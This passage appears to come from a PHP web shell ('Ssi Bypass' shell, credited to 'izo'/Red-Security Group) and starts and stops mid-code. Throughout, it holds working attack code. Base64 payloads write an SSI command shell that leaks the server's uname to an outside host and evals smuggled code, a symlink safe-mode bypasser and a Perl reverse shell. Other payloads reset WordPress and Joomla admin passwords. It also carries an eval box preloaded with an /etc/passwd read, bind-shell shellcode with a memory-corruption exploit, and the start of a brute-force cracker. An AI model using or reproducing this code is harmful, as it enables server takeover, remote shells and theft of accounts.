.shtml +AddOutputFilter INCLUDES .shtml"); + +$izo = 'PHRpdGxlPlNzaSBCeXBhc3MgMHpsZXlpY2kgU2hlbGwgMjAxMTwvdGl0bGU+CiAgICAgICAgPGZv +bnQgZmFjZT0iV2luZ2RpbmdzIj48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vcHJpdjguaWJs +b2dnZXIub3JnL3MucGhwPycrPD9lY2hvICJ1bmFtZSAtYSA6ICI7IGVjaG8gKHBocF91bmFtZSgp +KT8+IjsiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvYT48L2ZvbnQ+CjwvZm9udD4KPGJvZHkgYmdj +b2xvcj0iI0ZGRkZGRiIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiByaWdodG1hcmdpbj0i +MCIgYm90dG9tbWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMDAiIG1hcmdpbmhlaWdodD0iMCI+CgoK +Jm5ic3A7PHAgYWxpZ249ImNlbnRlciI+CjxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwvcD4KPHAg +YWxpZ249ImNlbnRlciI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiIGZhY2U9IlRhaG9tYSI+UmVk +LVNlY3VyaXR5IEdyb3VwPC9mb250PjwvYj48L3A+CjxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwv +cD4KPHAgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iVGFob21hIiBzaXplPSI0IiBjb2xvcj0i +Z3JlZW4iPjxiPlNzaSAKPGZvbnQgY29sb3I9IiNGRjAwMDAiPlNhZmUgTW9kZSBCeXBhc3Nlcjwv +Zm9udD4gPC9iPjwvZm9udD4KPC9wPgo8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8L3A+Cjxmb3Jt +IG5hbWU9InoxZC1saXRlc3BlZWQiICBtZXRob2Q9InBvc3QiPgo8cCBhbGlnbj0iY2VudGVyIj48 +Zm9udCBmYWNlPSJUYWhvbWEiPjxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj4jPC9mb250PiA8L2I+ +Q29tbWFuZDxiPgo8c3BhbiBsYW5nPSJhci1zYSI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPn48L2Zv +bnQ+IDwvc3Bhbj4mbmJzcDs8L2I+PGlucHV0IG5hbWU9ImNvbW1hbmQiIHZhbHVlPSJpZCIgc3R5 +bGU9ImJvcmRlcjogMXB4IGRvdHRlZCAjRkYwMDAwOyBmb250LWZhbWlseTp0YSIgc2l6ZT0iMzYi +IHRhYmluZGV4PSIyMCI+PGI+CjwvYj4mbmJzcDsgPC9mb250PjwvcD4KPHAgYWxpZ249ImNlbnRl +ciI+PGZvbnQgZmFjZT0iVGFob21hIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iU3VibWl0 +IiB2YWx1ZT0iQmFzIERheWkiPjxiPgo8L2I+PC9mb250PjwvcD4KPC9mb3JtPgo8YnI+PGJyPjxi +cj48YnI+PGNlbnRlcj4KPD9waHAKJGNvbW1hbmQgPSAkX1BPU1RbJ2NvbW1hbmQnXTsKJHowMHog +PSAkX1BPU1RbJ3owMHonXTsKaWYoJGNvbW1hbmQpewokejExZCA9ICI8Y2VudGVyPjxwcmU+PHBy +ZT4KPGJyPgpSZWRzZWN1cml0eS5pYmxvZ2dlci5vcmcKPGJyPgo8YnI+CjwhLS0jZXhlYyBjbWQ9 +JyRjb21tYW5kJyAtLT4gCgoiOwokb3BlbmZpbGUgPSBmb3BlbigiaXpvLnNodG1sIiwidyIpOwok +d3JpdGVpbnRvID0gZndyaXRlKCRvcGVuZmlsZSwiJHoxMWQiKTsKZmNsb3NlKCRvcGVuZmlsZSk7 +CmlmKCRvcGVuZmlsZSl7Cn1lbHNlewp9Cn0KcGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVS +RVInXSwkYSk7IGlmKHJlc2V0KCRhKT09J2l6JyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPHN0 +YXI+JztldmFsKGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlf +c2xpY2UoJGEsY291bnQoJGEpLTMpKSkpKTtlY2hvICc8L3N0YXI+Jzt9Cj8+CjxwcmU+IAogPGlm +cmFtZSBzcmM9J2l6by5zaHRtbCcgIHdpZHRoPTEwMCUgaGVpZ2h0PTg1JSBpZD0iSTEiIG5hbWU9 +IklGMSIgPgo8L3ByZT4='; + +$file = fopen("ssi.php" ,"w+"); +$write = fwrite ($file ,base64_decode($izo)); +fclose($file); + +� �echo "<iframe src=ssi/ssi.php width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_20": +� � mkdir('suexec', 0777); +� � � � chdir('suexec'); + +$izodayi = 'PGh0bWw+IAo8Ym9keSBiZ2NvbG9yPSIwMDAwMDAwIj4gCjx0aXRsZT5zeW1saW5rPC90aXRsZT4g +CjxjZW50ZXI+PGI+PGgyPjxmb250IGNvbG9yPSJyZWQiPiBTVUVYRSBCeXBhc3NlciBWaWEgU3lt +bGluayAoViAxLjAxKTwvZm9udD48L2JyPjwvY2VudGVyPjwvYj48L2gyPiAKPGNlbnRlcj48Yj48 +aDQ+PGZvbnQgY29sb3I9InJlZCI+V0lUSCBUSElTIFNDUklQVCBVIENBTiBVU0UgU1lNTElOSyBJ +TiAyIE1FVEhPRHM8L2ZvbnQ+PC9icj48L2NlbnRlcj48L2I+PC9oND4gCjxjZW50ZXI+PGI+PGg0 +Pjxmb250IGNvbG9yPSJ3aGl0ZSI+RGVzdCA9IERlc3RlbmF0aW9uIE9mIFBhdGggb3IgZmlsZSBU +aGF0IHUgV2FudCB0byBTeW1saW5rIEl0PC9mb250PjwvYnI+PC9jZW50ZXI+PC9iPjwvaDQ+IAo8 +Y2VudGVyPjxiPjxoND48Zm9udCBjb2xvcj0id2hpdGUiPm5hbWUgOiBGaWxlIE5hbWUgVGhhdCB1 +IFdhbnQgVG8gY3JlYXRlIGluIChbcGF0aF0vc21sbmspPC9mb250PjwvYnI+PC9jZW50ZXI+PC9i +PjwvaDQ+IAo8Y2VudGVyPjxiPjxoND48Zm9udCBjb2xvcj0id2hpdGUiPlVwbG9hZCBUaGlzIFNj +cmlwdCBJbiBGdWxsIFNVRVhFIG9yIEZ1bGxQZXJtIERpcmVjdG9yeTwvZm9udD48L2JyPjwvY2Vu +dGVyPjwvYj48L2g0PiAKPGNlbnRlcj48Yj48aDQ+PGZvbnQgY29sb3I9IndoaXRlIj5Xcml0dGVu +IEZvciAqTklYIFBsYXRmb3JtczwvZm9udD48L2JyPjwvY2VudGVyPjwvYj48L2g0PiAKPC9odG1s +PiAKCjw/cGhwIAovL0NPREVEIEJZIElSQU4gCi8vZm9ybSBkZWZpbmluZyAKcHJpbnQgIjxmb3Jt +IG1ldGhvZD1wb3N0PiI7IApwcmludCAiPGNlbnRlcj48Zm9udCBjb2xvcj1ncmVlbj4iOyAKcHJp +bnQgIjxiPmRlc3QgOjwvYj48aW5wdXQgc2l6ZT01MCBuYW1lPSdkZXN0ZW5hdGlvbicgdmFsdWU9 +Jyc+IjsgCnByaW50ICI8YnI+IjsgCnByaW50ICI8Yj5uYW1lIDo8L2I+PGlucHV0IHNpemU9NTAg +bmFtZT0nbmFtZScgdmFsdWU9Jyc+IjsgCnByaW50ICI8YnI+IjsgCnByaW50ICI8aW5wdXQgdHlw +ZT1zdWJtaXQgbmFtZT1fYWN0IHZhbHVlPSdDcmVhdGUhJz4iOyAKcHJpbnQgIjwvY2VudGVyPjwv +Zm9udD4iOyAKJGRlc3QgPSAkX1BPU1RbJ2Rlc3RlbmF0aW9uJ107IAokZGVzdG5hbWUgPSAkX1BP +U1RbJ25hbWUnXTsgCj8+IAoKPD9waHAgCi8vZGVmaW5pbmcgdmFyaWFibGVzIAokZGlyID0gZGly +bmFtZSgkX1NFUlZFUltTQ1JJUFRfRklMRU5BTUVdKS4iL3NtbG5rIjsgCiRhY2MgPSAkZGlyLiIv +Lmh0YWNlZXNzIjsgCiRjbWQgPSAibG4gLXMiLmNocigzMikuJGRlc3QuY2hyKDMyKS4kc3ltOyAK +JHN5bSA9ICRkaXIuIi8iLiRkZXN0bmFtZTsgCiRodGFjY2VzcyA9ICAKIk9wdGlvbnMgK0ZvbGxv +d1N5bUxpbmtzIi5jaHIoMDA5KS4gCiJEaXJlY3RvcnlJbmRleCBzZWVlcy5odG1sIi5jaHIoMDA5 +KS4gCiJSZW1vdmVIYW5kbGVyIC5waHAiLmNocigwMDkpLiAKIkFkZFR5cGUgYXBwbGljYXRpb24v +b2N0ZXQtc3RyZWFtIC5waHAiOyAKCmlmICghZmlsZV9leGlzdHMoJGRpcikpIHsgCm1rZGlyICgk +ZGlyKTsgCn0gIApzbGVlcCgxKTsgCmlmICghZmlsZV9leGlzdHMoJGFjYykpIHsgCiRoYW5kbGUg +PSBmb3BlbiggIiRhY2MiICwgJ2ErJyApOyAKZnB1dHMoICRoYW5kbGUgLCAgIiRodGFjY2VzcyIg +KTsgCn0gIAo/PiAKCjw/cGhwIAovL2NoZWNrIG1ldGhvZCAKaWYgKGZ1bmN0aW9uX2V4aXN0cyAo +ZXhlYykgT1IgZnVuY3Rpb25fZXhpc3RzIChzaGVsbF9leGVjKSBPUiBmdW5jdGlvbl9leGlzdHMg +KHN5c3RlbSkgT1IgZnVuY3Rpb25fZXhpc3RzIChwYXNzdGhydSkpIHsgCiRjaGVjayA9IDE7IAp9 +ZWxzZXsgCiRjaGVjayA9IDA7IAp9IAppZihmdW5jdGlvbl9leGlzdHMgKHN5bWxpbmspKSB7IAok +Y2hlY2tzID0gMTsgCn1lbHNleyAKJGNoZWNrcyA9IDA7IAp9IAo/PiAKCjw/cGhwIAovL2RlZmlu +ZSBjb21tYW5kIGZ1bmN0aW9uIAokcmVzYXVsdCA9ICcnOyAgCmZ1bmN0aW9uIGNvbW1hbmQoJGNt +ZGUpIHsgCiAgICBpZiAoIWVtcHR5KCRjbWRlKSkgIAogeyAgCmlmIChmdW5jdGlvbl9leGlzdHMo +J2V4ZWMnKSkgeyAkcmVzYXVsdCA9IEBleGVjKCRjbWRlKTsgfSAgCmVsc2VpZiAoZnVuY3Rpb25f +ZXhpc3RzKCdzaGVsbF9leGVjJykpIHsgJHJlc2F1bHQgPSBAc2hlbGxfZXhlYygkY21kZSk7IH0g +IAplbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgJHJlc2F1bHQgPSBAc3lzdGVt +KCRjbWRlKTsgfSAgCmVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7ICRyZXNh +dWx0ID0gQHBhc3N0aHJ1KCRjbWRlKTsgfSAgCiB9IApyZXR1cm4gJHJlc2F1bHQ7IAp9IAo/PiAK +Cjw/cGhwIAovL2V4ZWN1dGlvbiAKaWYgKCRjaGVjayA9PTEgJiYgJGNoZWNrcyA9PTEpeyBjb21t +YW5kICgkY21kKTsgfSAKZWxzZWlmICgkY2hlY2sgPT0xICYmICRjaGVja3MgPT0wKXsgY29tbWFu +ZCAoJGNtZCk7IH0gCmVsc2VpZiAoJGNoZWNrID09MCAmJiAkY2hlY2tzID09MSkgeyBzeW1saW5r +ICgkZGVzdCwkc3ltKTsgfSAKZWxzZWlmICgkY2hlY2sgPT0wICYmICRjaGVja3MgPT0wKSAgCnsg +IApwcmludCAoIjxjZW50ZXI+PGZvbnQgY29sb3I9Z3JlZW4+PGgxPnNjcmlwdCBkb2VzbnQgd29y +ayBmb3IgdGhpcyBzZXJ2ZXI8L2ZvbnQ+PC9oMT48L2NlbnRlcj4iKTsgIAp9IAo/PiAKPD9waHAg +Ci8vaXMgc2FmZSBtb2Qgb24gPyBzdGFydCAKaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBz +dHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgIAp7ICAKJHNhZmU9Ijxm +b250IGNvbG9yPXJlZD5PTjwvZm9udD4iOyAKfSAgCmVsc2UgeyRzYWZlPSI8Zm9udCBjb2xvcj1n +cmVlbj5PRkY8L2ZvbnQ+Ijt9IAplY2hvICI8Zm9udCBjb2xvcj13aGl0ZXB1cnBsZT5TQUZFIE1P +RCBJUyA6PC9mb250PjxiPiRzYWZlPC9iPjxicj4iOyAKLy9vcGVuIHNhZmUgbW9kIGVuZC0tIAo/ +PiAgCjw/cGhwIAovL2Rpc2FibGUgZnVuY3Rpb24gc3RhcnQgCmVjaG8gIjxmb250IGNvbG9yPXdo +aXRlcHVycGxlPkRpc2FibGUgZnVuY3Rpb25zIDo8L2ZvbnQ+IDxiPiI7IAppZignJz09KCRkZj1A +aW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5P +TkU8L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRkZjwvZm9udD48L2I+ +Ijt9IAovL2Rpc2FibGUgZnVuY3Rpb24gZW5kLS0gCj8+'; + +$file = fopen("suexec.php" ,"w+"); +$write = fwrite ($file ,base64_decode($izodayi)); +fclose($file); + +� �echo "<iframe src=suexec/suexec.php width=100% height=100% +frameborder=0></iframe> "; +break; +case "PHP_21": +# �coded by izo +{ +print "Ba&#287;lan&#305;l&#305;yor...\n"; +$fippi=$_SERVER["REMOTE_ADDR"]; +$bpci="22"; +$izocinx = 'ICAgICMhL3Vzci9iaW4vcGVybAogICAgIAogICAgICAgIHVzZSBTb2NrZXQ7CiAgICAgICAgJGMw +ZGUgPSAkQVJHVlswXTsKICAgICAgICAkYWFhYSA9ICRBUkdWWzFdOwogICAgICAgICAgaWYgKCEk +QVJHVlswXSkgewogICAgICAgICAgcHJpbnRmICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj +IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKICAgICAgICAgIHByaW50ZiAiIyMj +IyMjU2ltcGxlIEJhY2sgQ29ubmVjdCBDb2RlZCBCeSBjMGRlLCBCSGFjayBtZW1iZXIjIyMjIyNc +biI7CiAgICAgICAgICBwcmludGYgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj +IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwogICAgICAgICAgcHJpbnRmICIjIyMjIyMjIyMj +I1VzYWdlOiBJUCBQb3J0IHwgRXguIDEyNy4wLjAuMSA4ODg4IyMjIyMjIyMjIyMjI1xuIjsKICAg +ICAKICAgICAgICAgIGV4aXQoMSk7CiAgICAgICAgfQogICAgICAgIHByaW50ICJDb25uZWN0aW5n +IHRvICRjMGRlXG4iOwogICAgICAgICRiYWxjYW4gPSBnZXRwcm90b2J5bmFtZSgndGNwJyk7CiAg +ICAgICAgc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRiYWxjYW4pIHx8IGRp +ZSAoIkVycjByIHdoZW4gdHJ5aW5nIHRvIGNvbm5lY3QgIFtjaGVjayBJUDpQb3J0XSIpOwogICAg +ICAgIGlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRhYWFhLCBpbmV0X2F0 +b24oJGMwZGUpKSkge2RpZSgiRXJyMHIgd2hlbiB0cnlpbmcgdG8gY29ubmVjdCAgW2NoZWNrIElQ +OlBvcnRdICIpO30KICAgICAKICAgICAgICAgIG9wZW4oU1RESU4sIj4mU0VSVkVSIik7CiAgICAg +ICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsKICAgICAgICAgIG9wZW4oU1RERVJSLCI+JlNF +UlZFUiIpOwogICAgICAgICAgZXhlYyB7Jy9iaW4vc2gnfSAnLWJhc2gnIC4gIlwwIiB4IDQ7'; +$file = fopen("dayi" ,"w+"); +$write = fwrite ($file ,base64_decode($izocinx)); +fclose($file); +chmod("dayi" , 0777); +system("perl dayi $fippi $bpci"); +} +break; +case "PHP_22": +eval(base64_decode("aWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpewplY2hvICI8Rk9STSBtZXRob2Q9XCJQT1NUXCI+Cmhv +c3QgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJsb2NhbGhvc3RcIiBuYW1lPVwibG9jYWxo +b3N0XCIgdHlwZT1cInRleHRcIj4KZGF0YWJhc2UgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9 +XCJ3cC1cIiBuYW1lPVwiZGF0YWJhc2VcIiB0eXBlPVwidGV4dFwiPjxicj4KdXNlcm5hbWUgOiA8 +SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJ3cC1cIiBuYW1lPVwidXNlcm5hbWVcIiB0eXBlPVwi +dGV4dFwiPgpwYXNzd29yZCA6IDxJTlBVVCBzaXplPVwiMTVcIiB2YWx1ZT1cIioqXCIgbmFtZT1c +InBhc3N3b3JkXCIgdHlwZT1cInBhc3N3b3JkXCI+PGJyPgogIDxicj4KU2V0IEEgTmV3IHVzZXJu +YW1lIDQgTG9naW4gOiA8SU5QVVQgbmFtZT1cImFkbWluXCIgc2l6ZT1cIjE1XCIgdmFsdWU9XCJh +ZG1pblwiPjxicj4KU2V0IEEgTmV3IHBhc3N3b3JkIDQgTG9naW4gOiA8SU5QVVQgbmFtZT1cInB3 +ZFwiIHNpemU9XCIxNVwiIHZhbHVlPVwiMTIzNDU2XCI+PGJyPgoKPElOUFVUIHZhbHVlPVwiY2hh +bmdlXCIgbmFtZT1cInNlbmRcIiB0eXBlPVwic3VibWl0XCI+CjwvRk9STT4iOwp9ZWxzZXsKJGxv +Y2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107CiRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFi +YXNlJ107CiR1c2VybmFtZSAgPSAkX1BPU1RbJ3VzZXJuYW1lJ107CiRwYXNzd29yZCAgPSAkX1BP +U1RbJ3Bhc3N3b3JkJ107CiRwd2QgICA9ICRfUE9TVFsncHdkJ107CiRhZG1pbiA9ICRfUE9TVFsn +YWRtaW4nXTsKCgogQG15c3FsX2Nvbm5lY3QoJGxvY2FsaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3Jk +KSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiBAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3Ig +ZGllKG15c3FsX2Vycm9yKCkpOwoKJGhhc2ggPSBjcnlwdCgkcHdkKTsKJGE0cz1AbXlzcWxfcXVl +cnkoIlVQREFURSB3cF91c2VycyBTRVQgdXNlcl9sb2dpbiA9JyIuJGFkbWluLiInIFdIRVJFIElE +ID0gMSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKJGE0cz1AbXlzcWxfcXVlcnkoIlVQREFURSB3 +cF91c2VycyBTRVQgdXNlcl9wYXNzID0nIi4kaGFzaC4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUo +bXlzcWxfZXJyb3IoKSk7CiRhNHM9QG15c3FsX3F1ZXJ5KCJVUERBVEUgd3BfdXNlcnMgU0VUIHVz +ZXJfbG9naW4gPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDIiKSBvciBkaWUobXlzcWxfZXJyb3Io +KSk7CiRhNHM9QG15c3FsX3F1ZXJ5KCJVUERBVEUgd3BfdXNlcnMgU0VUIHVzZXJfcGFzcyA9JyIu +JGhhc2guIicgV0hFUkUgSUQgPSAyIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwokYTRzPUBteXNx +bF9xdWVyeSgiVVBEQVRFIHdwX3VzZXJzIFNFVCB1c2VyX2xvZ2luID0nIi4kYWRtaW4uIicgV0hF +UkUgSUQgPSAzIikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwokYTRzPUBteXNxbF9xdWVyeSgiVVBE +QVRFIHdwX3VzZXJzIFNFVCB1c2VyX3Bhc3MgPSciLiRoYXNoLiInIFdIRVJFIElEID0gMyIpIG9y +IGRpZShteXNxbF9lcnJvcigpKTsKJGE0cz1AbXlzcWxfcXVlcnkoIlVQREFURSB3cF91c2VycyBT +RVQgdXNlcl9lbWFpbCA9JyIuJFNRTC4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUobXlzcWxfZXJy +b3IoKSk7CgoKaWYoJGE0cyl7CmVjaG8gIjxiPiBTdWNjZXNzIDpOb3cgVXNlIEEgTmV3IFVzZXIg +QW5kIFBhc3MgVG8gbG9naW4gSW4gVGhlIEFkbWluIFBhbmVsPC9iPiAiOwp9Cgp9")); +break; +case "PHP_23": +eval(base64_decode("aWYoZW1wdHkoJF9QT1NUWydwd2QnXSkpewplY2hvICI8Rk9STSBtZXRob2Q9XCJQT1NUXCI+Cmhv +c3QgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJsb2NhbGhvc3RcIiBuYW1lPVwibG9jYWxo +b3N0XCIgdHlwZT1cInRleHRcIj4KZGF0YWJhc2UgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9 +XCJkYXRhYmFzZVwiIG5hbWU9XCJkYXRhYmFzZVwiIHR5cGU9XCJ0ZXh0XCI+PGJyPgp1c2VybmFt +ZSA6IDxJTlBVVCBzaXplPVwiMTVcIiB2YWx1ZT1cImRiX3VzZXJcIiBuYW1lPVwidXNlcm5hbWVc +IiB0eXBlPVwidGV4dFwiPgpwYXNzd29yZCA6IDxJTlBVVCBzaXplPVwiMTVcIiB2YWx1ZT1cIioq +XCIgbmFtZT1cInBhc3N3b3JkXCIgdHlwZT1cInBhc3N3b3JkXCI+PGJyPgogIDxicj4KU2V0IEEg +TmV3IHVzZXJuYW1lIEZvciBMb2dpbiA6IDxJTlBVVCBuYW1lPVwiYWRtaW5cIiBzaXplPVwiMTVc +IiB2YWx1ZT1cImFkbWluXCI+PGJyPgpEb25gdCBDaGFuZ2UgaXQgUGFzc3dvcmQgaXMgOiAxMjM0 +NTY6IDxJTlBVVCBuYW1lPVwicHdkXCIgc2l6ZT1cIjE1XCIgdmFsdWU9XCJlMTBhZGMzOTQ5YmE1 +OWFiYmU1NmUwNTdmMjBmODgzZVwiPjxicj4KCjxJTlBVVCB2YWx1ZT1cImNoYW5nZVwiIG5hbWU9 +XCJzZW5kXCIgdHlwZT1cInN1Ym1pdFwiPgo8L0ZPUk0+IjsKfWVsc2V7CiRsb2NhbGhvc3QgPSAk +X1BPU1RbJ2xvY2FsaG9zdCddOwokZGF0YWJhc2UgID0gJF9QT1NUWydkYXRhYmFzZSddOwokdXNl +cm5hbWUgID0gJF9QT1NUWyd1c2VybmFtZSddOwokcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29y +ZCddOwokcHdkICAgPSAkX1BPU1RbJ3B3ZCddOwokYWRtaW4gPSAkX1BPU1RbJ2FkbWluJ107CkBt +eXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllKG15c3Fs +X2Vycm9yKCkpOwpAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9y +KCkpOwokaGFzaCA9IGNyeXB0KCRwd2QpOwokU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFIGpvc191 +c2VycyBTRVQgdXNlcm5hbWUgPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDYyIikgb3IgZGllKG15 +c3FsX2Vycm9yKCkpOwokU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFIGpvc191c2VycyBTRVQgcGFz +c3dvcmQgPSciLiRwd2QuIicgV0hFUkUgSUQgPSA2MiIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsK +JFNRTD1AbXlzcWxfcXVlcnkoIlVQREFURSBqb3NfdXNlcnMgU0VUIHVzZXJuYW1lID0nIi4kYWRt +aW4uIicgV0hFUkUgSUQgPSA2MyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKJFNRTD1AbXlzcWxf +cXVlcnkoIlVQREFURSBqb3NfdXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIElE +ID0gNjMiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CiRTUUw9QG15c3FsX3F1ZXJ5KCJVUERBVEUg +am9zX3VzZXJzIFNFVCB1c2VybmFtZSA9JyIuJGFkbWluLiInIFdIRVJFIElEID0gNjQiKSBvciBk +aWUobXlzcWxfZXJyb3IoKSk7CiRTUUw9QG15c3FsX3F1ZXJ5KCJVUERBVEUgam9zX3VzZXJzIFNF +VCBwYXNzd29yZCA9JyIuJHB3ZC4iJyBXSEVSRSBJRCA9IDY0Iikgb3IgZGllKG15c3FsX2Vycm9y +KCkpOwokU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFIGpvc191c2VycyBTRVQgdXNlcm5hbWUgPSci +LiRhZG1pbi4iJyBXSEVSRSBJRCA9IDY1Iikgb3IgZGllKG15c3FsX2Vycm9yKCkpOwokU1FMPUBt +eXNxbF9xdWVyeSgiVVBEQVRFIGpvc191c2VycyBTRVQgcGFzc3dvcmQgPSciLiRwd2QuIicgV0hF +UkUgSUQgPSA2NSIpIG9yIGRpZShteXNxbF9lcnJvcigpKTsKaWYoJFNRTCl7CmVjaG8gIjxiPlN1 +Y2Nlc3MgOk5vdyBVc2UgQSBOZXcgVXNlciBBbmQgUGFzc3dvcmQgLSAoMTIzNDU2KSI7Cn0KfQ== +")); +break; +case "PHP_24": +� � $code=stripslashes($_POST['code']); +� � echo '<center><br><h3> PHP Code Evaluating </h3></center> +� � <center> +� � <form method="POST" action=""> +� � <input type="hidden" name="id" value="eval"> +� � <textarea name ="code" rows="10" cols="85" +class="textarea">',$code,'mkDIR("file:"); +chdir("file:"); +mkDIR("etc"); +chdir("etc"); +mkDIR("passwd"); +chdir(".."); +chdir(".."); + +$ch = curl_init(); + +curl_setopt($ch, CURLOPT_URL, "file:file:///etc/passwd"); +curl_setopt($ch, CURLOPT_HEADER, 0); + +curl_exec($ch); + +curl_close($ch);</textarea><br><br> +� � <input type="submit" value=" Evaluate PHP Code" class="button"><hr> +� � </form> +� � <textarea rows="10" cols="85" class="textarea">'; +� � eval($code); +� � echo '</textarea><br><br>'; +break; +case "PHP_25": +� �$shellcode = "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89". + +� � � � � � � � "\xe1\xcd\x80\x52\x43\x68\xff\x02". + +� � � � � � � � "\x22\xb8". //port (8888) + +� � � � � � � � "\x89\xe1". + +� � � � � � � � "\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80". + +� � � � � � � � "\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0". + +� � � � � � � � "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80". + +� � � � � � � � "\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f". + +� � � � � � � � "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; + + + +� $________________________str = str_repeat("A", 39); + +� $________________________yyy = &$________________________str; + +� $________________________xxx = &$________________________str; + +� for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str; + +� $________________________aaa = " � XXXXX � "; + +� $________________________aab = " XXXx.xXXX "; + +� $________________________aac = " XXXx.xXXX "; + +� $________________________aad = " � XXXXX � "; + +� unset($________________________xxx); + +� unset($________________________aaa); + +� unset($________________________aab); + +� unset($________________________aac); + +� unset($________________________aad); + +� $arr = array($shellcode => 1); + + + +� $addr = unpack("L", substr($________________________str, 6*4, 4)); + +� $addr = $addr[1] + 32; + +� $addr = pack("L", $addr); + + + +� for ($i=0; $i<strlen($addr); $i++) { + +� � $________________________str[8*4+$i] = $addr[$i]; + +� � $________________________yyy[8*4+$i] = $addr[$i]; + +� } + +� unset($arr); +break; +case "PHP_26": + +$crackftp = 'PD9waHAKJGNwYW5lbF9wb3J0PSIyMDgyIjsKJGNvbm5lY3RfdGltZW91dD01OwpzZXRfdGltZV9s +aW1pdCgwKTsKJHN1Ym1pdD0kX1JFUVVFU1RbJ3N1Ym1pdCddOwokdXNlcnM9JF9SRVFVRVNUWyd1 +c2VycyddOwokcGFzcz0kX1JFUVVFU1RbJ3Bhc3N3b3JkcyddOwokdGFyZ2V0PSRfUkVRVUVTVFsn +dGFyZ2V0J107CiRjcmFja3R5cGU9JF9SRVFVRVNUWydjcmFja3R5cGUnXTsKaWYoJHRhcmdldCA9 +PSAiIil7CiR0YXJnZXQgPSAibG9jYWxob3N0IjsKfQokY2hhcnNldD0kX1JFUVVFU1RbJ2NoYXJz +ZXQnXTsKaWYoJGNoYXJzZXQ9PSIiKQogJGNoYXJzZXQ9Imxvd2VyY2FzZSI7CiRtYXhfbGVuZ3Ro +PSRfUkVRVUVTVFsnbWF4X2xlbmd0aCddOwppZigkbWF4X2xlbmd0aD09IiIpCiAkbWF4X2xlbmd0 +aD0xMDsKJG1pbl9sZW5ndGg9JF9SRVFVRVNUWydtaW5fbGVuZ3RoJ107CmlmKCRtaW5fbGVuZ3Ro +PT0iIikKICRtaW5fbGVuZ3RoPTE7CgogJGNoYXJzZXRhbGwgPSBhcnJheSgiYSIsICJiIiwgImMi +LCAiZCIsICJlIiwgImYiLCAiZyIsICJoIiwgImkiLCAiaiIsICJrIiwgImwiLCAibSIsICJuIiwg 